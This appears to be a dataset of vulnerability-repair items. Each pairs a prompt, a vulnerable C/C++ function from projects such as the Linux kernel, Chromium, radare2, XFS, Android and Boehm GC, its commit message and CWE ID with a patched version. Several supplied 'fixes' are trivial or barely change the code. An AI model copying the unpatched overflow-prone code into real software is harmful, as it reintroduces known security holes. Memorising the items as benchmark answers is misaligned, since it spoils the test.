*/ create_user_core: if (user_core_fd >= 0) { off_t core_size = copyfd_size(STDIN_FILENO, user_core_fd, ulimit_c, COPYFD_SPARSE); if (fsync(user_core_fd) != 0 || close(user_core_fd) != 0 || core_size < 0) { /* perror first, otherwise unlink may trash errno */ perror_msg("Error writing '%s'", full_core_basename); xchdir(user_pwd); unlink(core_basename); return 1; } if (ulimit_c == 0 || core_size > ulimit_c) { xchdir(user_pwd); unlink(core_basename); return 1; } log("Saved core dump of pid %lu to %s (%llu bytes)", (long)pid, full_core_basename, (long long)core_size); } return 0; }
170,137
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int mem_check_range(struct rxe_mem *mem, u64 iova, size_t length) { switch (mem->type) { case RXE_MEM_TYPE_DMA: return 0; case RXE_MEM_TYPE_MR: case RXE_MEM_TYPE_FMR: return ((iova < mem->iova) || ((iova + length) > (mem->iova + mem->length))) ? -EFAULT : 0; default: return -EFAULT; } } Commit Message: IB/rxe: Fix mem_check_range integer overflow Update the range check to avoid integer-overflow in edge case. Resolves CVE 2016-8636. Signed-off-by: Eyal Itkin <[email protected]> Signed-off-by: Dan Carpenter <[email protected]> Reviewed-by: Leon Romanovsky <[email protected]> Signed-off-by: Doug Ledford <[email protected]> CWE ID: CWE-190
int mem_check_range(struct rxe_mem *mem, u64 iova, size_t length) { switch (mem->type) { case RXE_MEM_TYPE_DMA: return 0; case RXE_MEM_TYPE_MR: case RXE_MEM_TYPE_FMR: if (iova < mem->iova || length > mem->length || iova > mem->iova + mem->length - length) return -EFAULT; return 0; default: return -EFAULT; } }
168,773
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: H264PictureToVaapiDecodeSurface(const scoped_refptr<H264Picture>& pic) { VaapiH264Picture* vaapi_pic = pic->AsVaapiH264Picture(); CHECK(vaapi_pic); return vaapi_pic->dec_surface(); } Commit Message: vaapi vda: Delete owned objects on worker thread in Cleanup() This CL adds a SEQUENCE_CHECKER to Vaapi*Accelerator classes, and posts the destruction of those objects to the appropriate thread on Cleanup(). Also makes {H264,VP8,VP9}Picture RefCountedThreadSafe, see miu@ comment in https://chromium-review.googlesource.com/c/chromium/src/+/794091#message-a64bed985cfaf8a19499a517bb110a7ce581dc0f TEST=play back VP9/VP8/H264 w/ simplechrome on soraka, Release build unstripped, let video play for a few seconds then navigate back; no crashes. Unittests as before: video_decode_accelerator_unittest --test_video_data=test-25fps.vp9:320:240:250:250:35:150:12 video_decode_accelerator_unittest --test_video_data=test-25fps.vp8:320:240:250:250:35:150:11 video_decode_accelerator_unittest --test_video_data=test-25fps.h264:320:240:250:258:35:150:1 Bug: 789160 Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: I7d96aaf89c92bf46f00c8b8b36798e057a842ed2 Reviewed-on: https://chromium-review.googlesource.com/794091 Reviewed-by: Pawel Osciak <[email protected]> Commit-Queue: Miguel Casas <[email protected]> Cr-Commit-Position: refs/heads/master@{#523372} CWE ID: CWE-362
H264PictureToVaapiDecodeSurface(const scoped_refptr<H264Picture>& pic) { DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_); VaapiH264Picture* vaapi_pic = pic->AsVaapiH264Picture(); CHECK(vaapi_pic); return vaapi_pic->dec_surface(); }
172,803
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void MessageLoop::SetNestableTasksAllowed(bool allowed) { if (allowed) { CHECK(RunLoop::IsNestingAllowedOnCurrentThread()); pump_->ScheduleWork(); } nestable_tasks_allowed_ = allowed; } Commit Message: Introduce RunLoop::Type::NESTABLE_TASKS_ALLOWED to replace MessageLoop::ScopedNestableTaskAllower. (as well as MessageLoop::SetNestableTasksAllowed()) Surveying usage: the scoped object is always instantiated right before RunLoop().Run(). The intent is really to allow nestable tasks in that RunLoop so it's better to explicitly label that RunLoop as such and it allows us to break the last dependency that forced some RunLoop users to use MessageLoop APIs. There's also the odd case of allowing nestable tasks for loops that are reentrant from a native task (without going through RunLoop), these are the minority but will have to be handled (after cleaning up the majority of cases that are RunLoop induced). As highlighted by robliao@ in https://chromium-review.googlesource.com/c/600517 (which was merged in this CL). [email protected] Bug: 750779 Change-Id: I43d122c93ec903cff3a6fe7b77ec461ea0656448 Reviewed-on: https://chromium-review.googlesource.com/594713 Commit-Queue: Gabriel Charette <[email protected]> Reviewed-by: Robert Liao <[email protected]> Reviewed-by: danakj <[email protected]> Cr-Commit-Position: refs/heads/master@{#492263} CWE ID:
void MessageLoop::SetNestableTasksAllowed(bool allowed) { if (allowed) { CHECK(RunLoop::IsNestingAllowedOnCurrentThread()); // loop that does not go through RunLoop::Run(). pump_->ScheduleWork(); } nestable_tasks_allowed_ = allowed; }
171,867
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void r_bin_dwarf_dump_debug_info(FILE *f, const RBinDwarfDebugInfo *inf) { size_t i, j, k; RBinDwarfDIE *dies; RBinDwarfAttrValue *values; if (!inf || !f) { return; } for (i = 0; i < inf->length; i++) { fprintf (f, " Compilation Unit @ offset 0x%"PFMT64x":\n", inf->comp_units [i].offset); fprintf (f, " Length: 0x%x\n", inf->comp_units [i].hdr.length); fprintf (f, " Version: %d\n", inf->comp_units [i].hdr.version); fprintf (f, " Abbrev Offset: 0x%x\n", inf->comp_units [i].hdr.abbrev_offset); fprintf (f, " Pointer Size: %d\n", inf->comp_units [i].hdr.pointer_size); dies = inf->comp_units[i].dies; for (j = 0; j < inf->comp_units[i].length; j++) { fprintf (f, " Abbrev Number: %"PFMT64u" ", dies[j].abbrev_code); if (dies[j].tag && dies[j].tag <= DW_TAG_volatile_type && dwarf_tag_name_encodings[dies[j].tag]) { fprintf (f, "(%s)\n", dwarf_tag_name_encodings[dies[j].tag]); } else { fprintf (f, "(Unknown abbrev tag)\n"); } if (!dies[j].abbrev_code) { continue; } values = dies[j].attr_values; for (k = 0; k < dies[j].length; k++) { if (!values[k].name) continue; if (values[k].name < DW_AT_vtable_elem_location && dwarf_attr_encodings[values[k].name]) { fprintf (f, " %-18s : ", dwarf_attr_encodings[values[k].name]); } else { fprintf (f, " TODO\t"); } r_bin_dwarf_dump_attr_value (&values[k], f); fprintf (f, "\n"); } } } } Commit Message: Fix #8813 - segfault in dwarf parser CWE ID: CWE-125
static void r_bin_dwarf_dump_debug_info(FILE *f, const RBinDwarfDebugInfo *inf) { size_t i, j, k; RBinDwarfDIE *dies; RBinDwarfAttrValue *values; if (!inf || !f) { return; } for (i = 0; i < inf->length; i++) { fprintf (f, " Compilation Unit @ offset 0x%"PFMT64x":\n", inf->comp_units [i].offset); fprintf (f, " Length: 0x%x\n", inf->comp_units [i].hdr.length); fprintf (f, " Version: %d\n", inf->comp_units [i].hdr.version); fprintf (f, " Abbrev Offset: 0x%x\n", inf->comp_units [i].hdr.abbrev_offset); fprintf (f, " Pointer Size: %d\n", inf->comp_units [i].hdr.pointer_size); dies = inf->comp_units[i].dies; for (j = 0; j < inf->comp_units[i].length; j++) { fprintf (f, " Abbrev Number: %"PFMT64u" ", dies[j].abbrev_code); if (dies[j].tag && dies[j].tag <= DW_TAG_volatile_type && dwarf_tag_name_encodings[dies[j].tag]) { fprintf (f, "(%s)\n", dwarf_tag_name_encodings[dies[j].tag]); } else { fprintf (f, "(Unknown abbrev tag)\n"); } if (!dies[j].abbrev_code) { continue; } values = dies[j].attr_values; for (k = 0; k < dies[j].length; k++) { if (!values[k].name) { continue; } if (values[k].name < DW_AT_vtable_elem_location && dwarf_attr_encodings[values[k].name]) { fprintf (f, " %-18s : ", dwarf_attr_encodings[values[k].name]); } else { fprintf (f, " TODO\t"); } r_bin_dwarf_dump_attr_value (&values[k], f); fprintf (f, "\n"); } } } }
167,668
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: xfs_dinode_verify( struct xfs_mount *mp, xfs_ino_t ino, struct xfs_dinode *dip) { xfs_failaddr_t fa; uint16_t mode; uint16_t flags; uint64_t flags2; uint64_t di_size; if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) return __this_address; /* Verify v3 integrity information first */ if (dip->di_version >= 3) { if (!xfs_sb_version_hascrc(&mp->m_sb)) return __this_address; if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, XFS_DINODE_CRC_OFF)) return __this_address; if (be64_to_cpu(dip->di_ino) != ino) return __this_address; if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_meta_uuid)) return __this_address; } /* don't allow invalid i_size */ di_size = be64_to_cpu(dip->di_size); if (di_size & (1ULL << 63)) return __this_address; mode = be16_to_cpu(dip->di_mode); if (mode && xfs_mode_to_ftype(mode) == XFS_DIR3_FT_UNKNOWN) return __this_address; /* No zero-length symlinks/dirs. */ if ((S_ISLNK(mode) || S_ISDIR(mode)) && di_size == 0) return __this_address; /* Fork checks carried over from xfs_iformat_fork */ if (mode && be32_to_cpu(dip->di_nextents) + be16_to_cpu(dip->di_anextents) > be64_to_cpu(dip->di_nblocks)) return __this_address; if (mode && XFS_DFORK_BOFF(dip) > mp->m_sb.sb_inodesize) return __this_address; flags = be16_to_cpu(dip->di_flags); if (mode && (flags & XFS_DIFLAG_REALTIME) && !mp->m_rtdev_targp) return __this_address; /* Do we have appropriate data fork formats for the mode? */ switch (mode & S_IFMT) { case S_IFIFO: case S_IFCHR: case S_IFBLK: case S_IFSOCK: if (dip->di_format != XFS_DINODE_FMT_DEV) return __this_address; break; case S_IFREG: case S_IFLNK: case S_IFDIR: switch (dip->di_format) { case XFS_DINODE_FMT_LOCAL: /* * no local regular files yet */ if (S_ISREG(mode)) return __this_address; if (di_size > XFS_DFORK_DSIZE(dip, mp)) return __this_address; if (dip->di_nextents) return __this_address; /* fall through */ case XFS_DINODE_FMT_EXTENTS: case XFS_DINODE_FMT_BTREE: break; default: return __this_address; } break; case 0: /* Uninitialized inode ok. */ break; default: return __this_address; } if (XFS_DFORK_Q(dip)) { switch (dip->di_aformat) { case XFS_DINODE_FMT_LOCAL: if (dip->di_anextents) return __this_address; /* fall through */ case XFS_DINODE_FMT_EXTENTS: case XFS_DINODE_FMT_BTREE: break; default: return __this_address; } } else { /* * If there is no fork offset, this may be a freshly-made inode * in a new disk cluster, in which case di_aformat is zeroed. * Otherwise, such an inode must be in EXTENTS format; this goes * for freed inodes as well. */ switch (dip->di_aformat) { case 0: case XFS_DINODE_FMT_EXTENTS: break; default: return __this_address; } if (dip->di_anextents) return __this_address; } /* extent size hint validation */ fa = xfs_inode_validate_extsize(mp, be32_to_cpu(dip->di_extsize), mode, flags); if (fa) return fa; /* only version 3 or greater inodes are extensively verified here */ if (dip->di_version < 3) return NULL; flags2 = be64_to_cpu(dip->di_flags2); /* don't allow reflink/cowextsize if we don't have reflink */ if ((flags2 & (XFS_DIFLAG2_REFLINK | XFS_DIFLAG2_COWEXTSIZE)) && !xfs_sb_version_hasreflink(&mp->m_sb)) return __this_address; /* only regular files get reflink */ if ((flags2 & XFS_DIFLAG2_REFLINK) && (mode & S_IFMT) != S_IFREG) return __this_address; /* don't let reflink and realtime mix */ if ((flags2 & XFS_DIFLAG2_REFLINK) && (flags & XFS_DIFLAG_REALTIME)) return __this_address; /* don't let reflink and dax mix */ if ((flags2 & XFS_DIFLAG2_REFLINK) && (flags2 & XFS_DIFLAG2_DAX)) return __this_address; /* COW extent size hint validation */ fa = xfs_inode_validate_cowextsize(mp, be32_to_cpu(dip->di_cowextsize), mode, flags, flags2); if (fa) return fa; return NULL; } Commit Message: xfs: More robust inode extent count validation When the inode is in extent format, it can't have more extents that fit in the inode fork. We don't currenty check this, and so this corruption goes unnoticed by the inode verifiers. This can lead to crashes operating on invalid in-memory structures. Attempts to access such a inode will now error out in the verifier rather than allowing modification operations to proceed. Reported-by: Wen Xu <[email protected]> Signed-off-by: Dave Chinner <[email protected]> Reviewed-by: Darrick J. Wong <[email protected]> [darrick: fix a typedef, add some braces and breaks to shut up compiler warnings] Signed-off-by: Darrick J. Wong <[email protected]> CWE ID: CWE-476
xfs_dinode_verify( struct xfs_mount *mp, xfs_ino_t ino, struct xfs_dinode *dip) { xfs_failaddr_t fa; uint16_t mode; uint16_t flags; uint64_t flags2; uint64_t di_size; if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) return __this_address; /* Verify v3 integrity information first */ if (dip->di_version >= 3) { if (!xfs_sb_version_hascrc(&mp->m_sb)) return __this_address; if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, XFS_DINODE_CRC_OFF)) return __this_address; if (be64_to_cpu(dip->di_ino) != ino) return __this_address; if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_meta_uuid)) return __this_address; } /* don't allow invalid i_size */ di_size = be64_to_cpu(dip->di_size); if (di_size & (1ULL << 63)) return __this_address; mode = be16_to_cpu(dip->di_mode); if (mode && xfs_mode_to_ftype(mode) == XFS_DIR3_FT_UNKNOWN) return __this_address; /* No zero-length symlinks/dirs. */ if ((S_ISLNK(mode) || S_ISDIR(mode)) && di_size == 0) return __this_address; /* Fork checks carried over from xfs_iformat_fork */ if (mode && be32_to_cpu(dip->di_nextents) + be16_to_cpu(dip->di_anextents) > be64_to_cpu(dip->di_nblocks)) return __this_address; if (mode && XFS_DFORK_BOFF(dip) > mp->m_sb.sb_inodesize) return __this_address; flags = be16_to_cpu(dip->di_flags); if (mode && (flags & XFS_DIFLAG_REALTIME) && !mp->m_rtdev_targp) return __this_address; /* Do we have appropriate data fork formats for the mode? */ switch (mode & S_IFMT) { case S_IFIFO: case S_IFCHR: case S_IFBLK: case S_IFSOCK: if (dip->di_format != XFS_DINODE_FMT_DEV) return __this_address; break; case S_IFREG: case S_IFLNK: case S_IFDIR: fa = xfs_dinode_verify_fork(dip, mp, XFS_DATA_FORK); if (fa) return fa; break; case 0: /* Uninitialized inode ok. */ break; default: return __this_address; } if (XFS_DFORK_Q(dip)) { fa = xfs_dinode_verify_fork(dip, mp, XFS_ATTR_FORK); if (fa) return fa; } else { /* * If there is no fork offset, this may be a freshly-made inode * in a new disk cluster, in which case di_aformat is zeroed. * Otherwise, such an inode must be in EXTENTS format; this goes * for freed inodes as well. */ switch (dip->di_aformat) { case 0: case XFS_DINODE_FMT_EXTENTS: break; default: return __this_address; } if (dip->di_anextents) return __this_address; } /* extent size hint validation */ fa = xfs_inode_validate_extsize(mp, be32_to_cpu(dip->di_extsize), mode, flags); if (fa) return fa; /* only version 3 or greater inodes are extensively verified here */ if (dip->di_version < 3) return NULL; flags2 = be64_to_cpu(dip->di_flags2); /* don't allow reflink/cowextsize if we don't have reflink */ if ((flags2 & (XFS_DIFLAG2_REFLINK | XFS_DIFLAG2_COWEXTSIZE)) && !xfs_sb_version_hasreflink(&mp->m_sb)) return __this_address; /* only regular files get reflink */ if ((flags2 & XFS_DIFLAG2_REFLINK) && (mode & S_IFMT) != S_IFREG) return __this_address; /* don't let reflink and realtime mix */ if ((flags2 & XFS_DIFLAG2_REFLINK) && (flags & XFS_DIFLAG_REALTIME)) return __this_address; /* don't let reflink and dax mix */ if ((flags2 & XFS_DIFLAG2_REFLINK) && (flags2 & XFS_DIFLAG2_DAX)) return __this_address; /* COW extent size hint validation */ fa = xfs_inode_validate_cowextsize(mp, be32_to_cpu(dip->di_cowextsize), mode, flags, flags2); if (fa) return fa; return NULL; }
169,163
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void SoftAACEncoder2::onQueueFilled(OMX_U32 /* portIndex */) { if (mSignalledError) { return; } List<BufferInfo *> &inQueue = getPortQueue(0); List<BufferInfo *> &outQueue = getPortQueue(1); if (!mSentCodecSpecificData) { if (outQueue.empty()) { return; } if (AACENC_OK != aacEncEncode(mAACEncoder, NULL, NULL, NULL, NULL)) { ALOGE("Unable to initialize encoder for profile / sample-rate / bit-rate / channels"); notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL); mSignalledError = true; return; } OMX_U32 actualBitRate = aacEncoder_GetParam(mAACEncoder, AACENC_BITRATE); if (mBitRate != actualBitRate) { ALOGW("Requested bitrate %u unsupported, using %u", mBitRate, actualBitRate); } AACENC_InfoStruct encInfo; if (AACENC_OK != aacEncInfo(mAACEncoder, &encInfo)) { ALOGE("Failed to get AAC encoder info"); notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL); mSignalledError = true; return; } BufferInfo *outInfo = *outQueue.begin(); OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader; outHeader->nFilledLen = encInfo.confSize; outHeader->nFlags = OMX_BUFFERFLAG_CODECCONFIG; uint8_t *out = outHeader->pBuffer + outHeader->nOffset; memcpy(out, encInfo.confBuf, encInfo.confSize); outQueue.erase(outQueue.begin()); outInfo->mOwnedByUs = false; notifyFillBufferDone(outHeader); mSentCodecSpecificData = true; } size_t numBytesPerInputFrame = mNumChannels * kNumSamplesPerFrame * sizeof(int16_t); if (mAACProfile == OMX_AUDIO_AACObjectELD && numBytesPerInputFrame > 512) { numBytesPerInputFrame = 512; } for (;;) { while (mInputSize < numBytesPerInputFrame) { if (mSawInputEOS || inQueue.empty()) { return; } BufferInfo *inInfo = *inQueue.begin(); OMX_BUFFERHEADERTYPE *inHeader = inInfo->mHeader; const void *inData = inHeader->pBuffer + inHeader->nOffset; size_t copy = numBytesPerInputFrame - mInputSize; if (copy > inHeader->nFilledLen) { copy = inHeader->nFilledLen; } if (mInputFrame == NULL) { mInputFrame = new int16_t[numBytesPerInputFrame / sizeof(int16_t)]; } if (mInputSize == 0) { mInputTimeUs = inHeader->nTimeStamp; } memcpy((uint8_t *)mInputFrame + mInputSize, inData, copy); mInputSize += copy; inHeader->nOffset += copy; inHeader->nFilledLen -= copy; inHeader->nTimeStamp += (copy * 1000000ll / mSampleRate) / (mNumChannels * sizeof(int16_t)); if (inHeader->nFilledLen == 0) { if (inHeader->nFlags & OMX_BUFFERFLAG_EOS) { mSawInputEOS = true; memset((uint8_t *)mInputFrame + mInputSize, 0, numBytesPerInputFrame - mInputSize); mInputSize = numBytesPerInputFrame; } inQueue.erase(inQueue.begin()); inInfo->mOwnedByUs = false; notifyEmptyBufferDone(inHeader); inData = NULL; inHeader = NULL; inInfo = NULL; } } if (outQueue.empty()) { return; } BufferInfo *outInfo = *outQueue.begin(); OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader; uint8_t *outPtr = (uint8_t *)outHeader->pBuffer + outHeader->nOffset; size_t outAvailable = outHeader->nAllocLen - outHeader->nOffset; AACENC_InArgs inargs; AACENC_OutArgs outargs; memset(&inargs, 0, sizeof(inargs)); memset(&outargs, 0, sizeof(outargs)); inargs.numInSamples = numBytesPerInputFrame / sizeof(int16_t); void* inBuffer[] = { (unsigned char *)mInputFrame }; INT inBufferIds[] = { IN_AUDIO_DATA }; INT inBufferSize[] = { (INT)numBytesPerInputFrame }; INT inBufferElSize[] = { sizeof(int16_t) }; AACENC_BufDesc inBufDesc; inBufDesc.numBufs = sizeof(inBuffer) / sizeof(void*); inBufDesc.bufs = (void**)&inBuffer; inBufDesc.bufferIdentifiers = inBufferIds; inBufDesc.bufSizes = inBufferSize; inBufDesc.bufElSizes = inBufferElSize; void* outBuffer[] = { outPtr }; INT outBufferIds[] = { OUT_BITSTREAM_DATA }; INT outBufferSize[] = { 0 }; INT outBufferElSize[] = { sizeof(UCHAR) }; AACENC_BufDesc outBufDesc; outBufDesc.numBufs = sizeof(outBuffer) / sizeof(void*); outBufDesc.bufs = (void**)&outBuffer; outBufDesc.bufferIdentifiers = outBufferIds; outBufDesc.bufSizes = outBufferSize; outBufDesc.bufElSizes = outBufferElSize; AACENC_ERROR encoderErr = AACENC_OK; size_t nOutputBytes = 0; do { memset(&outargs, 0, sizeof(outargs)); outBuffer[0] = outPtr; outBufferSize[0] = outAvailable - nOutputBytes; encoderErr = aacEncEncode(mAACEncoder, &inBufDesc, &outBufDesc, &inargs, &outargs); if (encoderErr == AACENC_OK) { outPtr += outargs.numOutBytes; nOutputBytes += outargs.numOutBytes; if (outargs.numInSamples > 0) { int numRemainingSamples = inargs.numInSamples - outargs.numInSamples; if (numRemainingSamples > 0) { memmove(mInputFrame, &mInputFrame[outargs.numInSamples], sizeof(int16_t) * numRemainingSamples); } inargs.numInSamples -= outargs.numInSamples; } } } while (encoderErr == AACENC_OK && inargs.numInSamples > 0); outHeader->nFilledLen = nOutputBytes; outHeader->nFlags = OMX_BUFFERFLAG_ENDOFFRAME; if (mSawInputEOS) { outHeader->nFlags = OMX_BUFFERFLAG_EOS; } outHeader->nTimeStamp = mInputTimeUs; #if 0 ALOGI("sending %d bytes of data (time = %lld us, flags = 0x%08lx)", nOutputBytes, mInputTimeUs, outHeader->nFlags); hexdump(outHeader->pBuffer + outHeader->nOffset, outHeader->nFilledLen); #endif outQueue.erase(outQueue.begin()); outInfo->mOwnedByUs = false; notifyFillBufferDone(outHeader); outHeader = NULL; outInfo = NULL; mInputSize = 0; } } Commit Message: Add bounds check in SoftAACEncoder2::onQueueFilled() Original code blindly copied some header information into the user-supplied buffer without checking for sufficient space. The code does check when it gets to filling the data -- it's just the header copies that weren't checked. Bug: 34617444 Test: ran POC before/after Change-Id: I6e80ec90616f6cd02bb8316cd2d6e309b7e4729d (cherry picked from commit 6231243626b8b9c57593b1f0ee417f2c4af4c0aa) CWE ID: CWE-120
void SoftAACEncoder2::onQueueFilled(OMX_U32 /* portIndex */) { if (mSignalledError) { return; } List<BufferInfo *> &inQueue = getPortQueue(0); List<BufferInfo *> &outQueue = getPortQueue(1); if (!mSentCodecSpecificData) { if (outQueue.empty()) { return; } if (AACENC_OK != aacEncEncode(mAACEncoder, NULL, NULL, NULL, NULL)) { ALOGE("Unable to initialize encoder for profile / sample-rate / bit-rate / channels"); notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL); mSignalledError = true; return; } OMX_U32 actualBitRate = aacEncoder_GetParam(mAACEncoder, AACENC_BITRATE); if (mBitRate != actualBitRate) { ALOGW("Requested bitrate %u unsupported, using %u", mBitRate, actualBitRate); } AACENC_InfoStruct encInfo; if (AACENC_OK != aacEncInfo(mAACEncoder, &encInfo)) { ALOGE("Failed to get AAC encoder info"); notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL); mSignalledError = true; return; } BufferInfo *outInfo = *outQueue.begin(); OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader; if (outHeader->nOffset + encInfo.confSize > outHeader->nAllocLen) { ALOGE("b/34617444"); android_errorWriteLog(0x534e4554,"34617444"); notify(OMX_EventError, OMX_ErrorUndefined, 0, NULL); mSignalledError = true; return; } outHeader->nFilledLen = encInfo.confSize; outHeader->nFlags = OMX_BUFFERFLAG_CODECCONFIG; uint8_t *out = outHeader->pBuffer + outHeader->nOffset; memcpy(out, encInfo.confBuf, encInfo.confSize); outQueue.erase(outQueue.begin()); outInfo->mOwnedByUs = false; notifyFillBufferDone(outHeader); mSentCodecSpecificData = true; } size_t numBytesPerInputFrame = mNumChannels * kNumSamplesPerFrame * sizeof(int16_t); if (mAACProfile == OMX_AUDIO_AACObjectELD && numBytesPerInputFrame > 512) { numBytesPerInputFrame = 512; } for (;;) { while (mInputSize < numBytesPerInputFrame) { if (mSawInputEOS || inQueue.empty()) { return; } BufferInfo *inInfo = *inQueue.begin(); OMX_BUFFERHEADERTYPE *inHeader = inInfo->mHeader; const void *inData = inHeader->pBuffer + inHeader->nOffset; size_t copy = numBytesPerInputFrame - mInputSize; if (copy > inHeader->nFilledLen) { copy = inHeader->nFilledLen; } if (mInputFrame == NULL) { mInputFrame = new int16_t[numBytesPerInputFrame / sizeof(int16_t)]; } if (mInputSize == 0) { mInputTimeUs = inHeader->nTimeStamp; } memcpy((uint8_t *)mInputFrame + mInputSize, inData, copy); mInputSize += copy; inHeader->nOffset += copy; inHeader->nFilledLen -= copy; inHeader->nTimeStamp += (copy * 1000000ll / mSampleRate) / (mNumChannels * sizeof(int16_t)); if (inHeader->nFilledLen == 0) { if (inHeader->nFlags & OMX_BUFFERFLAG_EOS) { mSawInputEOS = true; memset((uint8_t *)mInputFrame + mInputSize, 0, numBytesPerInputFrame - mInputSize); mInputSize = numBytesPerInputFrame; } inQueue.erase(inQueue.begin()); inInfo->mOwnedByUs = false; notifyEmptyBufferDone(inHeader); inData = NULL; inHeader = NULL; inInfo = NULL; } } if (outQueue.empty()) { return; } BufferInfo *outInfo = *outQueue.begin(); OMX_BUFFERHEADERTYPE *outHeader = outInfo->mHeader; uint8_t *outPtr = (uint8_t *)outHeader->pBuffer + outHeader->nOffset; size_t outAvailable = outHeader->nAllocLen - outHeader->nOffset; AACENC_InArgs inargs; AACENC_OutArgs outargs; memset(&inargs, 0, sizeof(inargs)); memset(&outargs, 0, sizeof(outargs)); inargs.numInSamples = numBytesPerInputFrame / sizeof(int16_t); void* inBuffer[] = { (unsigned char *)mInputFrame }; INT inBufferIds[] = { IN_AUDIO_DATA }; INT inBufferSize[] = { (INT)numBytesPerInputFrame }; INT inBufferElSize[] = { sizeof(int16_t) }; AACENC_BufDesc inBufDesc; inBufDesc.numBufs = sizeof(inBuffer) / sizeof(void*); inBufDesc.bufs = (void**)&inBuffer; inBufDesc.bufferIdentifiers = inBufferIds; inBufDesc.bufSizes = inBufferSize; inBufDesc.bufElSizes = inBufferElSize; void* outBuffer[] = { outPtr }; INT outBufferIds[] = { OUT_BITSTREAM_DATA }; INT outBufferSize[] = { 0 }; INT outBufferElSize[] = { sizeof(UCHAR) }; AACENC_BufDesc outBufDesc; outBufDesc.numBufs = sizeof(outBuffer) / sizeof(void*); outBufDesc.bufs = (void**)&outBuffer; outBufDesc.bufferIdentifiers = outBufferIds; outBufDesc.bufSizes = outBufferSize; outBufDesc.bufElSizes = outBufferElSize; AACENC_ERROR encoderErr = AACENC_OK; size_t nOutputBytes = 0; do { memset(&outargs, 0, sizeof(outargs)); outBuffer[0] = outPtr; outBufferSize[0] = outAvailable - nOutputBytes; encoderErr = aacEncEncode(mAACEncoder, &inBufDesc, &outBufDesc, &inargs, &outargs); if (encoderErr == AACENC_OK) { outPtr += outargs.numOutBytes; nOutputBytes += outargs.numOutBytes; if (outargs.numInSamples > 0) { int numRemainingSamples = inargs.numInSamples - outargs.numInSamples; if (numRemainingSamples > 0) { memmove(mInputFrame, &mInputFrame[outargs.numInSamples], sizeof(int16_t) * numRemainingSamples); } inargs.numInSamples -= outargs.numInSamples; } } } while (encoderErr == AACENC_OK && inargs.numInSamples > 0); outHeader->nFilledLen = nOutputBytes; outHeader->nFlags = OMX_BUFFERFLAG_ENDOFFRAME; if (mSawInputEOS) { outHeader->nFlags = OMX_BUFFERFLAG_EOS; } outHeader->nTimeStamp = mInputTimeUs; #if 0 ALOGI("sending %d bytes of data (time = %lld us, flags = 0x%08lx)", nOutputBytes, mInputTimeUs, outHeader->nFlags); hexdump(outHeader->pBuffer + outHeader->nOffset, outHeader->nFilledLen); #endif outQueue.erase(outQueue.begin()); outInfo->mOwnedByUs = false; notifyFillBufferDone(outHeader); outHeader = NULL; outInfo = NULL; mInputSize = 0; } }
174,013
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: GC_INNER void * GC_generic_malloc_ignore_off_page(size_t lb, int k) { void *result; size_t lg; size_t lb_rounded; word n_blocks; GC_bool init; DCL_LOCK_STATE; if (SMALL_OBJ(lb)) return(GC_generic_malloc((word)lb, k)); lg = ROUNDED_UP_GRANULES(lb); lb_rounded = GRANULES_TO_BYTES(lg); n_blocks = OBJ_SZ_TO_BLOCKS(lb_rounded); init = GC_obj_kinds[k].ok_init; if (EXPECT(GC_have_errors, FALSE)) GC_print_all_errors(); GC_INVOKE_FINALIZERS(); LOCK(); result = (ptr_t)GC_alloc_large(ADD_SLOP(lb), k, IGNORE_OFF_PAGE); if (0 != result) { if (GC_debugging_started) { BZERO(result, n_blocks * HBLKSIZE); } else { # ifdef THREADS /* Clear any memory that might be used for GC descriptors */ /* before we release the lock. */ ((word *)result)[0] = 0; ((word *)result)[1] = 0; ((word *)result)[GRANULES_TO_WORDS(lg)-1] = 0; ((word *)result)[GRANULES_TO_WORDS(lg)-2] = 0; # endif } } GC_bytes_allocd += lb_rounded; if (0 == result) { GC_oom_func oom_fn = GC_oom_fn; UNLOCK(); return((*oom_fn)(lb)); } else { UNLOCK(); if (init && !GC_debugging_started) { BZERO(result, n_blocks * HBLKSIZE); } return(result); } } Commit Message: Fix allocation size overflows due to rounding. * malloc.c (GC_generic_malloc): Check if the allocation size is rounded to a smaller value. * mallocx.c (GC_generic_malloc_ignore_off_page): Likewise. CWE ID: CWE-189
